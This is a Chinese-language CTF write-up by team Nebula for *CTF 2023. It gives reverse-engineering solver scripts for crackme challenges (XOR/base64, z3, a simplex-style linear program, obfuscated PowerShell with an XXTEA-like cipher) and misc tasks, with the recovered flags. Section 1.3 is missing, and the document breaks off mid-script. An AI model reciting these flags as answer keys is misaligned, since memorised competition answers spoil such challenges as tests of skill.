

*CTF WriteUp - Nebula

战队：Nebula

排名：10th

解题情况截图：

竞赛指南				竞赛关卡				*CTF 2023				排行榜				趋势榜				比赛已经结束			
				Reverse				Misc				Crypto				Pwn				Web			
				boring cipher	GoGpt	flagfile	SIMPLEX...	ez_code	snippingTools	MWM	ray tracing	dead game	old language	Increasing	ezCrypto	gcccd	S1DH	starvm	fcalls	drop	jwzstruts		
序号	战队名称	总分	解题数	571	196	398	952	398	125	400	740	392	124	526	238	769	952	526	298	400	118		
1	Oops	7174.04	17																				
2	StuM4i	6250.81	16																				
3	AAA	6136.58	16																				
4	L	6113.54	16																				
5	Nepnep	5873.04	15																				
6	Lilac	5381.95	15																				
7	Spirit+	4759	14																				
8	Ph0t0n1a	4450.56	12																				
9	Am3stY0u	4413.8	13																				
10	Nebula	4286.99	12																				
11	Vidar-Team	4198	13																				
12	星盟CTF战队	4054.78	13																				

1 Reverse

1.1 GoGpt

二血！签到题，不知道是不是因为起得早。

主函数整理后如下：

```
1  if ( (unsigned __int64)&input_content <= *(_QWORD *) (v0 + 16) )
2      runtime_morestack_noctxt();
3      qmemcpy(v19, "cH@t_GpT_15_h3R3", sizeof(v19));
4      key = (GoString)main_shuffle(v19, 16i64, 16i64);
5      key_ = key.content;
6      fmt_Fprintf(&off_1B1FA8, qword_239130, aInputYourFlag, 16i64, 0i64, 0i64, 0i64);
7      input = (GoString *)runtime_newobject(&qword_179A40);
8      input_ = input;
9      input->content = 0i64;
10     v27[0] = (GoString *)&unk_177B40;
11     v27[1] = input;
12     fmt_Fscanf(&off_1B1F88, qword_239128, aS_0, 3i64, v27, 1i64, 1i64);
13     if ( input->length == 32 )
14     {
15         input_slice = (GoString)runtime_stringtoslicebyte(v20, input->content, 32i64);
16         input_content = input_slice.content;
17         input_slice_ = (_BYTE *)runtime_makeslice(&qword_179BC0, input_slice.length,
input_slice.length);
18         input_len = input_slice.length;
19         key__ = key_;
```

```

20     input_bytes = input_content;
21     for ( i = 0i64; input_len > i; ++i )
22     {
23         input_i = (unsigned __int8)input_bytes[i];
24         if ( !key.length )
25             goto LABEL_14;
26         len_ = input_len;
27         key_i_mod_len = i % key.length;
28         if ( key.length <= (unsigned __int64)(i % key.length) )
29         {
30             runtime_panicIndex(key.length, key_i_mod_len, input_bytes, input_i);
31 LABEL_14:
32             runtime_panicdivide();
33         }
34         input_slice[i] = key__[key_i_mod_len] ^ input_i;
35         input_len = len_;
36     }
37     v15 = input_slice;
38     ((void (*)(void))encoding_base64__Encoding__EncodeToString)();
39     if ( v15 == (_BYTE *)44 && runtime_memequal(0x2Cui64) )
40     {
41         v25[0] = &qword_179A40;
42         v25[1] = &off_1B1A08;
43         v17 = fmt_Fprintln(&off_1B1FA8, qword_239130, v25, 1i64, 1i64);
44         v10 = *((_QWORD *)&v17 + 1);
45         v9 = v17;
46     }
47
48     else
49     {
50         v24[0] = &qword_179A40;
51         v24[1] = &off_1B19F8;
52         v16 = fmt_Fprintln(&off_1B1FA8, qword_239130, v24, 1i64, 1i64);
53         v10 = *((_QWORD *)&v16 + 1);
54         v9 = v16;
55     }
56 }
57 else
58 {
59     v26[0] = &qword_179A40;
60     v26[1] = &off_1B19F8;
61     v11 = fmt_Fprintln(&off_1B1FA8, qword_239130, v26, 1i64, 1i64);
62     v10 = *((_QWORD *)&v11 + 1);
63     v9 = v11;
64 }
65 *((_QWORD *)&result + 1) = v10;
66 *((_QWORD *)&result = v9;
67 return result;
68 }

```

先把 key 置乱，然后循环异或输入，再base64，比对结果。

通过调试直接读出置乱后的 key，比对的参数这里没有还原出来，直接转到汇编去看就能得到，下面是 exp：

```

1 import base64
2
3 key = 'TcR@3t_3hp_5_G1H'
4 a = base64.b64decode(b'fiAGBkgXN3McFy9hAHRfCwYaIjQCRDFsXC8ZYBFmEDU=')
5
6 for i in range(32):
7     print(chr(a[i] ^ ord(key[i%len(key)])), end='')
8
9 # *CTF{ch@tgpT_3nCRypt10n_4_FUN!!}

```

1.2 boring cipher

rust, 带符号的, 还行。

main 中读取输入后进入算法部分, 先将一个长度为 256 的数组 `bytes_box` 清零。再进入一个大循环, 每个循环内先初始化数组 `v26` (从 0 到 20), 后面是两个循环, 前一个循环将输入的连续 8 个字节大端序表示的数按照如下方式分解:

$$x = x_{20} * 20! + x_{19} * 19! + \dots + x_1 * 1! \quad (0 \leq x_j \leq j)$$

并根据计算得到的 `xj` 交换 `v26[j]` 和 `v26[xj + j]` (`j` 从 20 到 1); 后一个循环其实是双层循环, 内层循环被展开了, 抄写出来 (其中 `arr` 是一个全局数组):

```

1 for k in range(21):
2     for l in range(15):
3         # v = arr[i][v26[k]][l]
4         v = arr[21 * 15 * i + 15 * v26[k] + l]
5         if v != -1:
6             bytes_box[v] += k

```

上述大循环重复 4 次后读取文件, 文件路径被混淆了, 调试解密得到 `/proc/self/exe`, 即程序自身。读取后根据 `byte_box` 修改读到的数据: `data[i] += byte_box[data[i]]`, 最后将修改后的数据保存到 `output` 文件中。

1. 根据以上分析, 可以先根据给出的两个文件得到 `bytes_box` 的值:

```

1 data1 = open('./cipher-release', 'rb').read()
2 # data2 = open('./output', 'rb').read()
3 data2 = open('./output.bak', 'rb').read()
4 box = []
5 for i in range(256):
6     index = data1.index(i)
7     box.append(data2[index] - i & 0xff)

```

2. 再根据 `box` 的值计算得到每轮循环的数组 `v26`。上面的大循环的后一个循环的抄写可以改写得到:

```

1 for k in range(21):
2     for l in range(15):
3         # v = arr[i][k][l]
4         v = arr[21 * 15 * i + 15 * k + l]
5         if v != -1:
6             bytes_box[v] += v26.index(k)

```

每轮的 `v26` 数组元素为 21 个, 总共 4 轮, 共 84 个未知数, `bytes_box` 有 256 个已知的值, 可以建立方程求解。这里使用 `z3` 求解。

3. 最后一个问题就是根据最终的 v26 数组求解出数字的分解方式进而计算得到 flag 字节对应数字。考虑这个数组的第一个位置，只有第一轮交换会改变第一个位置的值，之后第一个位置的数就是固定的，那么可以直接得到第一步交换的位置。如最终数组为 `8, ...`，那么第一步一定是将第一个位置（初始值为 0）与第九个位置（初始值为 8）交换，这样才能保证最后的目标值第一个位置为 8。相似的，第一步结束之后可以把第二个位置开始的数组视为一个新的数组，初始状态就是原始数组经过第一步变换后除去第一个位置的数组，重复此步骤即可。剩下的就是简单的数值计算与转换。

最终求解脚本：

```
1  #!/usr/bin/env python3
2
3  import struct
4  from z3 import *
5
6  def solve():
7      data1 = open('./cipher-release', 'rb').read()
8      arr = struct.unpack('<1260i', data1[0x3f06c:][: 1260 * 4])
9      # data2 = open('./output', 'rb').read()
10     data2 = open('./output.bak', 'rb').read()
11     box = []
12     for i in range(256):
13         index = data1.index(i)
14         box.append(data2[index] - i & 0xff)
15
16     # print(box)
17     s = Solver()
18     x = [Int('x%d' % i) for i in range(84)]
19     for i in range(4):
20         for j in range(21):
21             s.add(x[21 * i + j] >= 0)
22             s.add(x[21 * i + j] <= 20)
23             for k in range(j + 1, 21):
24                 s.add(x[21 * i + j] != x[21 * i + k])
25
26     ...
27     v = arr[i][k][1]
28     box[v] += v26.index(k)
29     ...
30     _box = [0] * 256
31     for i in range(4):
32         for k in range(21):
33             for l in range(15):
34                 v = arr[21 * 15 * i + 15 * k + l]
35                 if v != -1:
36                     _box[v] += x[21 * i + k]
37
38     for i in range(256):
39         s.add(box[i] == _box[i])
40
41     # print('Init done')
42     assert s.check() == sat
43     model = s.model()
44     # print(model())
45     for i in range(84):
46         x[i] = model[x[i]].as_long()
47     # print(x)
```



```

11 shuffle_table = []
12 xor_table = []
13 for i in range(32):
14     shuffle_table.append(key[2*i] ^ key[2*i+1])
15     xor_table.append(key[64+2*i] ^ key[64+2*i+1])
16
17 flag = [0] * 32
18 for i in range(32):
19     flag[shuffle_table[i]-5] = chr(xor_table[i])
20 print('flag{'+''.join(flag)+'}')
21
22 # flag{_oh_yes_you_got_the_flag____^_^_}

```

1.4 SIMPLEX-WMM

又是 rust 逆向，而且去符号，而且多线程，而且 aarch64 。。。。

逆向过程是最麻烦的，同时这部分也是没啥好说的。。。

主要有三个相关的函数：

sub_C088: 读取输入，长度为 40；unhex 得到 20 字节；计算 md5，与 `d2edf678c89caf9979ec2b246634d284` 比较；后面不知道干嘛了，应该是开启线程

sub_9BB8: 为 0x68058 处的 double 二维数组（应该是 `Vec<Vec<f64>>`）赋初值：

```

1 void sub_9BB8()
2 {
3     // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAN
4
5     v0 = (double *)rust_alloc(0x48uLL, 8uLL);
6     if ( !v0 )
7         sub_9054(8LL, 72LL);
8     v1 = v0;
9     v3 = global_vec.cap;
10    len = global_vec.len;
11    v0[8] = 0.0;
12    *((_OWORD *)v0 + 2) = 0u;
13    *((_OWORD *)v0 + 3) = 0u;
14    *((_OWORD *)v0 = *((_OWORD *)dbl_442D0;
15    *((_OWORD *)v0 + 1) = *((_OWORD *)&dbl_442D0[2];
16    if ( len == v3 )
17    {
18        vec::vec::doouble::inc_cap(&global_vec, len);
19        len = global_vec.len;
20    }
21    v4 = &global_vec.data[len];
22    v4->data = v1;
23    *(int64x2_t *)&v4->cap = vdupq_n_s64(9uLL);
24    ++global_vec.len;
25    v5 = (double *)rust_alloc(0x40uLL, 8uLL);
26    if ( !v5 )
27        goto LABEL_16;
28    v6 = v5;
29    __asm { FMOV                V0.2D, #4.0; Floating-point Move }
30    v5[6] = 0.0;
31    v5[7] = 0.0;
32    v13 = global_vec.cap;
33    v12 = global_vec.len;
34    v5[4] = 1.0;
35    v5[5] = 0.0;
36    *((_OWORD *)v5 = _Q0;
37    *((_OWORD *)v5 + 1) = *((_OWORD *)dbl_442F0;
38    if ( v12 == v13 )
39    {
40        vec::vec::doouble::inc_cap(&global_vec, v12);
41        v12 = global_vec.len;
42    }
43    v14 = &global_vec.data[v12];
44    v14->data = v6;

```

得到的数组为

```

1 [
2     [70, 65, 80, 75, 0, 0, 0, 0, 0],
3     [4, 4, 3, 7, 1, 0, 0, 0, 0],
4     [6, 3, 5, 4, 0, 1, 0, 0, 0],
5     [5, 2, 3, 3, 0, 0, 1, 0, 0],
6     [6, 5, 1, 2, 0, 0, 0, 0, 1]
7 ]

```

后面的也没怎么看懂，甚至看到 salsa20 特征，不过貌似跟主要逻辑没关系。

sub_A1C0: 函数非常大，也没怎么看明白，恢复下跟上面的 global_vec 相关的操作即可。其中一些部分：

1. 将 unhex 后的输入直接转为 5 个 float ，并且判断：

$$x[0] * global_vec[0][0] + x[1] * global_vec[0][1] + x[2] * global_vec[0][2] + x[3] * global_vec[0][3] == x[4]$$


```

181     if ( v204 )
182     {
183         input_to_float0 = *(float *)&_unhex_input;
184         input_to_float1 = *(float *)&_unhex_input[4];
185         *(_QWORD *)input_to_float23 = *(_QWORD *)&_unhex_input[8];
186         input_to_float4 = *(float *)&_unhex_input[16];
187         v209 = global_vec.len;
188         *v204 = *(float *)&_unhex_input;
189         v204[1] = input_to_float1;
190         *((_QWORD *)v204 + 1) = *(_QWORD *)input_to_float23;
191         v204[4] = input_to_float4;
192         if ( v209 && (v210 = global_vec.data->len) != 0 )
193         {
194             if ( v210 == 1 )
195             {
196                 v218 = &off_64DF0;
197             }
198             else if ( v210 < 3 )
199             {
200                 v42 = 2LL;
201                 v218 = &off_64E08;
202             }
203             else
204             {
205                 if ( v210 != 3 )
206                 {
207                     *(float64x2_t *)v211 = vmulq_f64(
208                         *(float64x2_t *)(global_vec.data->data + 2),
209                         vcvtq_f64_f32(*(float32x2_t *)input_to_float23));
210                     v212 = input_to_float4;
211                     v213 = *global_vec.data->data * input_to_float0
212                         + global_vec.data->data[1] * input_to_float1
213                         + v211[0]
214                         + v211[1];
215                     j_j__free(v204);
216                     v102 = &conds;
217                     v40 = (_DWORD *)&unk_18708000;
218                     v41 = (_DWORD *)&unk_18708000;
219                     if ( v213 != v212 )
220                         goto LABEL_316;
221                     goto LABEL_315;
222                 }
223                 v42 = 3LL;
224                 v218 = &off_64E20;

```

2. global_vec 的后几个数组添加一个值 `global_vec[i].append(v[i] - x[0] * global_vec[i][0] - x[1] * global_vec[i][1] - x[2] * global_vec[i][2] - x[3] * global_vec[i][3])` , v 的值分别为 90, 120, 60, 100

```

240     v58 = (float *)rust_alloc(0x14uLL, 4uLL);
241     if ( v58 )
242     {
243         input_to_floats = v58;
244         input_to_float0 = *(float *)&_unhex_input;
245         input_to_float1 = *(float *)&_unhex_input[4];
246         v62 = global_vec.len;
247         input_to_float2 = *(float *)&_unhex_input[8];
248         *(_QWORD *)input_to_float34 = *(_QWORD *)&_unhex_input[12];
249         v65 = global_vec.len >= 2;
250         *v58 = *(float *)&_unhex_input;
251         v58[1] = input_to_float1;
252         v58[2] = input_to_float2;
253         *(_QWORD *)v58 + 3 = *(_QWORD *)input_to_float34;
254         if ( v65 )
255         {
256             global_vec_data = global_vec.data;
257             global_vec_datax_len = global_vec.data[1].len;
258             if ( global_vec_datax_len )
259             {
260                 if ( global_vec_datax_len == 1 )
261                 {
262                     v62 = 1LL;
263                     v220 = &off_648B0;
264                 }
265                 else if ( global_vec_datax_len < 3 )
266                 {
267                     global_vec_datax_len = 2LL;
268                     v62 = 2LL;
269                     v220 = &off_648C8;
270                 }
271                 else
272                 {
273                     input_to_float3 = input_to_float34[0];
274                     if ( global_vec_datax_len == 3 )
275                     {
276                         global_vec_datax_len = 3LL;
277                         v62 = 3LL;
278                         v220 = &off_648E0;
279                     }
280                     else
281                     {
282                         global_vec_data1_data = global_vec.data[1].data;
283                         global_vec_data1_data0 = *global_vec_data1_data;
284                         global_vec_data1_data1 = global_vec_data1_data[1];
285                         global_vec_data1_data2 = global_vec_data1_data[2];
286                         global_vec_data1_data3 = global_vec_data1_data[3];
287                         if ( global_vec_datax_len == global_vec.data[1].cap )
288                         {
289                             vec::doouble::inc_cap(global_vec.data + 1, global_vec_datax_len);
290                             global_vec_datax_len = global_vec_data[1].len;
291                             global_vec_data1_data = global_vec_data[1].data;
292                         }
293                         global_vec_data1_data[global_vec_datax_len] = 90.0
294                             - global_vec_data1_data0 * input_to_float0
295                             - global_vec_data1_data1 * input_to_float1
296                             - global_vec_data1_data2 * input_to_float2
297                             - global_vec_data1_data3 * input_to_float3;
298                         ++global_vec_data[1].len;
299                         v62 = global_vec.len;
300                         if ( global_vec.len < 3 )
301                         {
302                             global_vec_datax_len = 2LL;
303                             v220 = &off_648F8;
304                         }

```

后面还有一部分相关的操作，但是比较复杂看不懂。

根据上面已知的信息，猜测上面这部分是线性方程组（4 个未知数 4 个方程），但是解出来发现 md5 值不正确。做到这已经完全不想再看了，太搞了。晚上 11 点还是 0 解，直接睡觉去了。

结果半夜被偷家了，快 5 点时才放提示，早上 8 点多迷迷糊糊看到群里消息一下子就清醒了，起床看到提示 `simplex algorithm` 我才想起题目名字中的 SIMPLEX 是单纯形算法，一下子就知道上面几组数据不是解方程，而是做线性规划：

```

1 | [
2 |     [70, 65, 80, 75],

```

```

3     [4, 4, 3, 7, 90],
4     [6, 3, 5, 4, 120],
5     [5, 2, 3, 3, 60],
6     [6, 5, 1, 2, 100]
7 ]
8
9 Variables: x, y, z, w
10
11 Constraints:
12 4 x + 4 y + 3 z + 7 w <= 90
13 6 x + 3 y + 5 z + 4 w <= 120
14 5 x + 2 y + 3 z + 3 w <= 60
15 6 x + 5 y + 1 z + 2 w <= 100
16 Optimize:
17 max 70 x + 65 y + 80 z + 75 w

```

当然这是靠猜出来的，也有可能上面几个不等式中的符号是 \geq 、优化目标是 \min ，求解出来后验证 md5 即可。因为是从一开始的 z3 求解方程组的脚本改写出来的，所以脚本比较丑，懒得改了：

```

1  #!/usr/bin/env python3
2
3  import struct
4  from hashlib import md5
5  from z3 import *
6
7  global_vec = [
8      [70, 65, 80, 75, 0, 0, 0, 0, 0],
9      [4, 4, 3, 7, 1, 0, 0, 0, 0],
10     [6, 3, 5, 4, 0, 1, 0, 0, 0],
11     [5, 2, 3, 3, 0, 0, 1, 0, 0],
12     [6, 5, 1, 2, 0, 0, 0, 0, 1]
13 ]
14
15 ...
16 a, b, c, d, e = input_to_float
17 global_vec[1].append( 90 - (a * global_vec[1][0] + b * global_vec[1][1] + c *
18 global_vec[1][2] + d * global_vec[1][3]))
19 global_vec[2].append(120 - (a * global_vec[2][0] + b * global_vec[2][1] + c *
20 global_vec[2][2] + d * global_vec[2][3]))
21 global_vec[3].append( 60 - (a * global_vec[3][0] + b * global_vec[3][1] + c *
22 global_vec[3][2] + d * global_vec[3][3]))
23 global_vec[4].append(100 - (a * global_vec[4][0] + b * global_vec[4][1] + c *
24 global_vec[4][2] + d * global_vec[4][3]))
25
26 cond:
27 1. md5(bytes.fromhex(input)).hexdigest() == 'd2edf678c89caf9979ec2b246634d284'
28 2. a * global_vec[0][0] + b * global_vec[0][1] + c * global_vec[0][2] + d *
29 global_vec[0][3] == e
30 3. ???
31 ...
32 ...
33 s = Solver()
34 x = [Int('x%d' % i) for i in range(4)]
35
36 ratio = 8

```

```

33 s.add( 90 * ratio == x[0] * global_vec[1][0] + x[1] * global_vec[1][1] + x[2] *
global_vec[1][2] + x[3] * global_vec[1][3])
34 s.add(120 * ratio == x[0] * global_vec[2][0] + x[1] * global_vec[2][1] + x[2] *
global_vec[2][2] + x[3] * global_vec[2][3])
35 s.add( 60 * ratio == x[0] * global_vec[3][0] + x[1] * global_vec[3][1] + x[2] *
global_vec[3][2] + x[3] * global_vec[3][3])
36 s.add(100 * ratio == x[0] * global_vec[4][0] + x[1] * global_vec[4][1] + x[2] *
global_vec[4][2] + x[3] * global_vec[4][3])
37 assert s.check() == sat
38 model = s.model()
39 for i in range(4):
40     x[i] = model[x[i]].as_long() / ratio
41
42 x.append(x[0] * global_vec[0][0] + x[1] * global_vec[0][1] + x[2] * global_vec[0][2] +
x[3] * global_vec[0][3])
43 print(''.join(struct.pack('<f', i).hex() for i in x))
44 '''
45
46 s = Solver()
47 x = [Int('x%d' % i) for i in range(4)]
48
49 for i in x:
50     s.add(i >= 0)
51
52 ratio = 8
53 s.add( 90 * ratio >= x[0] * global_vec[1][0] + x[1] * global_vec[1][1] + x[2] *
global_vec[1][2] + x[3] * global_vec[1][3])
54 s.add(120 * ratio >= x[0] * global_vec[2][0] + x[1] * global_vec[2][1] + x[2] *
global_vec[2][2] + x[3] * global_vec[2][3])
55 s.add( 60 * ratio >= x[0] * global_vec[3][0] + x[1] * global_vec[3][1] + x[2] *
global_vec[3][2] + x[3] * global_vec[3][3])
56 s.add(100 * ratio >= x[0] * global_vec[4][0] + x[1] * global_vec[4][1] + x[2] *
global_vec[4][2] + x[3] * global_vec[4][3])
57 value = x[0] * global_vec[0][0] + x[1] * global_vec[0][1] + x[2] * global_vec[0][2] +
x[3] * global_vec[0][3]
58 max_value = 1000000000
59 while s.check() == sat:
60     model = s.model()
61     max_value = model.eval(value).as_long()
62     print(model, max_value)
63     s.add(value > max_value)
64
65 for i in range(4):
66     x[i] = model[x[i]].as_long() / ratio
67
68 x.append(x[0] * global_vec[0][0] + x[1] * global_vec[0][1] + x[2] * global_vec[0][2] +
x[3] * global_vec[0][3])
69
70 flag = ''.join(struct.pack('<f', i).hex() for i in x)
71
72 print(flag)
73 hash = md5(bytes.fromhex(flag)).hexdigest()
74 print(hash)
75 if hash == 'd2edf678c89caf9979ec2b246634d284':
76     print('*CTF{%s}' % flag)
77 # *CTF{0000000000007041000020410000000000e0dd44}

```

1.5 ez_code

相比国赛那题还是差了点，首先明确这是 powershell 脚本，加了混淆，变量太难看，先给重写一下：

```
1 with open('chall.ps1', 'r') as f:
2     data = f.read()
3
4 dict = {}
5 index = 0
6 on = 0
7 mem = 0
8 print(data)
9 for i in range(len(data)):
10     if data[i:i+2] == '${' and on == 0:
11         # print(1)
12         on = 1
13         mem = i + 1
14     elif data[i] == '}' and on == 1:
15         # print(2)
16         if data[mem:i+1] not in dict.keys():
17             dict[data[mem:i+1]] = 'v%d' % index
18             index += 1
19         on = 0
20
21 for i in dict.keys():
22     data = data.replace(i, dict[i])
23
24 with open('res.ps1', 'w') as f:
25     f.write(data)
26
```

```
('(' | % { $v0 = + $( ) } { $v1 = $v0 } { $v2 = ++ $v0 } { $v3 = ( $v0 = $v0 + $v2 ) } { $v4 = ( $v0 = $v0 + $v2 ) } { $v5 = ($v0 = $v0 + $v2 ) } { $v6 = ($v0 = $v0 + $v2 ) } { $v7 = ($v0 = $v0 + $v2 ) } { $v8 = ($v0 = $v0 + $v2 ) } { $v9 = ($v0 = $v0 + $v2 ) } { $v10 = ($v0 = $v0 + $v2 ) } { $v11 = "[" + "$( @ { } )" "$v8 ]" + "$( @ { } )" [" $v2$v10 ]" + "$( @ { } )" [" $v3$v1 ]" + "$?" [" $v2 ]" + "]" } { $v0 = "" ("$( @ { } )" [" $v2$v5 ]" + "$( @ { } )" [" $v2$v7 ]" + "$( @ { } )" [" $v1 ]" + "$( @ { } )" [" $v5 ]" + "$?" [" $v2 ]" + "$( @ { } )" [" $v4 ]" } { $v0 = "$( @ { } )" [" $v2 ]" + "$( @ { } )" [" $v5 ]" + "$( @ { } )" [" $v3 ]" + "$( @ { } )" [" $v8 ]" } } ;
$v12 = "$v11$v10$v10+$v11$v2$v1$v9+$v11$v10$v8+$v11$v2$v2$v6+$v11$v2$v2$v6+$v11$v4$v3+$v11$v10$v10+$v11$v2$v1$v5+$v11$v2$v1$v6
+$v11$v2$v2$v3+$v11$v2$v1$v2+$v11$v2$v2$v5+$v11$v5$v1+$v11$v5$v2+$v11$v6$v9+$v11$v2$v1+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3
+$v11$v2$v1+$v11$v2$v1$v2+$v11$v4$v3+$v11$v2$v1$v3+$v11$v4$v3+$v11$v10$v6+$v11$v10$v6+$v11$v2$v1$v6+$v11$v2$v2$v1+$v11$v2$v1$v6+$v11$v2$v2$v7
+$v11$v10$v6+$v11$v10$v6+$v11$v5$v1+$v11$v2$v2$v6+$v11$v2$v1$v2+$v11$v2$v1$v9+$v11$v2$v1$v3+$v11$v5$v2+$v11$v6$v9+$v11$v2$v1+$v11$v4$v3
+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v2$v2$v6+$v11$v2$v1$v2+$v11$v2$v1$v9+$v11$v2$v1$v3
+$v11$v5$v7+$v11$v2$v1$v1+$v11$v4$v3+$v11$v7$v2+$v11$v4$v3+$v11$v5$v9+$v11$v2$v3$v1+$v11$v6$v7+$v11$v6$v6+$v11$v6$v5+$v11$v6$v4+$v11$v6$v3
+$v11$v6$v2+$v11$v6$v1+$v11$v5$v10+$v11$v2$v1+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3
+$v11$v2$v1$v8+$v11$v5$v9+$v11$v4$v3+$v11$v7$v2+$v11$v4$v3+$v11$v5$v9+$v11$v2$v3$v1+$v11$v6$v5+$v11$v6$v6+$v11$v6$v3+$v11$v6$v4+$v11$v6$v1
+$v11$v6$v2+$v11$v5$v10+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3
+$v11$v2$v1$v8+$v11$v2$v1$v1+$v11$v10$v10+$v11$v2$v1$v3+$v11$v2$v1$v2+$v11$v2$v1+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3
+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v7$v2+$v11$v4$v3+$v11$v5$v9+$v11$v2$v3$v1+$v11$v6$v8+$v11$v6$v7+$v11$v10$v9
+$v11$v6$v2+$v11$v6$v1+$v11$v6$v4+$v11$v6$v3+$v11$v6$v6+$v11$v6$v5+$v11$v2$v1+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3
+$v11$v4$v3+$v11$v4$v3+$v11$v4$v3+$v11$v2$v2$v6+$v11$v2$v1$v2+$v11$v2$v1$v9+$v11$v2$v1$v3+$v11$v5$v7+$v11$v2$v1$v8+$v11$v4$v3+$v11$v7$v2
+$v11$v4$v3+$v11$v10$v2+$v11$v2$v1$v8+$v11$v5$v9+$v11$v5$v5+$v11$v4$v3+$v11$v2$v1$v8+$v11$v5$v10+$v11$v5$v5+$v11$v4$v3+$v11$v2$v1$v8
```

变成这样似乎还不错，这里按分号做了一次分割，前面是一些变量名的初始化，后面是两个字符串，第一个是 real flag，第二个是 fake flag 通过管道符给到 iex，本事是先发现 real flag 的，但是明显跟体面关系不大（没有打印 DO YOU KOWN PWSH?）

real flag 的加密是这样：

```
1 class chiper():
2     def __init__(self):
3         self.d = 0x87654321
4         k0 = 0x67452301
5         k1 = 0xefcdab89
```

```

6         k2 = 0x98badcfe
7         k3 = 0x10325476
8         self.k = [k0, k1, k2, k3]
9
10    def e(self, n, v):
11        from ctypes import c_uint32
12
13        def MX(z, y, total, key, p, e):
14            temp1 = (z.value >> 6 ^ y.value << 4) + \
15                (y.value >> 2 ^ z.value << 5)
16            temp2 = (total.value ^ y.value) + \
17                (key[(p & 3) ^ e.value] ^ z.value)
18            return c_uint32(temp1 ^ temp2)
19        key = self.k
20        delta = self.d
21        rounds = 6 + 52//n
22        total = c_uint32(0)
23        z = c_uint32(v[n-1])
24        e = c_uint32(0)
25
26        while rounds > 0:
27            total.value += delta
28            e.value = (total.value >> 2) & 3
29            for p in range(n-1):
30                y = c_uint32(v[p+1])
31                v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
32                z.value = v[p]
33            y = c_uint32(v[0])
34            v[n-1] = c_uint32(v[n-1] + MX(z, y, total,
35                key, n-1, e).value).value
36            z.value = v[n-1]
37            rounds -= 1
38        return v
39
40    def bytes2ints(self,cs:bytes)->list:
41        new_length=len(cs)+(8-len(cs)%8)%8
42        barray=cs.ljust(new_length,b'\x00')
43        i=0
44        v=[]
45        while i < new_length:
46            v0 = int.from_bytes(barray[i:i+4], 'little')
47            v1 = int.from_bytes(barray[i+4:i+8], 'little')
48            v.append(v0)
49            v.append(v1)
50            i += 8
51        return v
52
53    def check(instr:str,checklist:list)->int:
54        length=len(instr)
55        if length%8:
56            print("Incorrect format.")
57            exit(1)
58        c=chiper()
59        v = c.bytes2ints(instr.encode())
60        output=list(c.e(len(v),v))
61        i=0

```

```

62     while(i<len(checklist)):
63         if i<len(output) and output[i]==checklist[i]:
64             i+=1
65         else:
66             break
67     if i==len(checklist):
68         return 1
69     return 0
70
71 if __name__=="__main__":
72     ans=[1374278842, 2136006540, 4191056815, 3248881376]
73     # generateRes()
74     flag=input('Please input flag:')
75     res=check(flag,ans)
76     if res:
77         print("Congratulations, you've got the flag!")
78         print("Flag is *ctf{your_input}!")
79         exit(0)
80     else:
81         print('Nope,try again!')
82

```

没见过，给 ChatGPT 看说是 tea，我说不是 tea，它就说是 xtea，我看也不是 xtea，就不靠它了，自己手逆了一下：

```

1  #include <stdio.h>
2
3  unsigned int MX(unsigned int z, unsigned int y, unsigned int total, unsigned int* key,
4  unsigned int p, unsigned int e) {
5      unsigned int temp1 = (z >> 6 ^ y << 4) + (y >> 2 ^ z << 5);
6      unsigned int temp2 = (total ^ y) + (key[(p & 3) ^ e] ^ z);
7      return temp1 ^ temp2;
8  }
9
10 int main() {
11     unsigned int k[4];
12     k[0] = 0x67452301;
13     k[1] = 0xefcdab89;
14     k[2] = 0x98badcfe;
15     k[3] = 0x10325476;
16     unsigned int ans[5] = {1374278842, 2136006540, 4191056815, 3248881376, 0};
17
18     int n = 4;
19     int i = 0, z, p, y, total = 209976179, e = 0;
20     while (i++ < 19) {
21         z = ans[n-2];
22         y = ans[0];
23         e = (total >> 2) & 3;
24         ans[n-1] = ans[n-1] - MX(z, y, total, k, n-1, e);
25         for (int p = n-2; p >= 0; p--) {
26             y = ans[p+1];
27             if (p > 0)
28                 z = ans[p-1];
29             else
30                 z = ans[n-1];
31             ans[p] = ans[p] - MX(z, y, total, k, p, e);
32         }
33     }
34 }

```

```

31     }
32     total = total - 0x87654321;
33 }
34
35 puts("*ctf{");
36 printf("%s", ans);
37 puts("}");
38
39 return 0;
40 }
41
42 // *ctf{y0Uar3g0oD@tPw5H}

```

2 Misc

2.1 snippingTools

Github 上找到工具: <https://github.com/frankthetank-music/Acropolis-Multi-Tool>

我的 gui.py 跑不起来，所以直接调用了 acropolis.py 中 Acropolis 对象的 reconstruct_image 方法，分辨率选 1920 * 1080。

2.2 MWM

题目给出了 ResNet-MWM 使用的模型以及一个模型参数文件

```

1 net=torchvision.models.resnet50(pretrained=True)
2 net.fc=nn.Linear(2048,10)
3

```

题目描述是 `I have added a watermark into a resnet, it is hard to be removed by fine-tuning. Can you find this watermark?` 猜测是对给出的模型进行 fine-tune 然后看变化不大的模型参数，后面就用小数据集对这个模型稍微训练了几个 epoch，训练代码如下：

```

1 import torch
2 import torchvision
3 from torch import nn
4 from torch.utils.data import DataLoader
5 from torchvision import models
6
7 train_data = torchvision.datasets.CIFAR10(root="
<file_path>/data",train=True,transform=torchvision.transforms.ToTensor(),
8                                     download=True)
9 test_data = torchvision.datasets.CIFAR10(root="
<file_path>/data",train=False,transform=torchvision.transforms.ToTensor(),
10                                    download=True)
11 train_data_size = len(train_data)
12 test_data_size = len(test_data)
13 print("The size of Train_data is {}".format(train_data_size))
14 print("The size of Test_data is {}".format(test_data_size))
15
16 train_dataloader = DataLoader(train_data,batch_size=128)
17 test_dataloader = DataLoader(test_data,batch_size=128)

```



```

18
19 resnet50 = torch.load('file_path/resnet_mwm_new.pth')
20
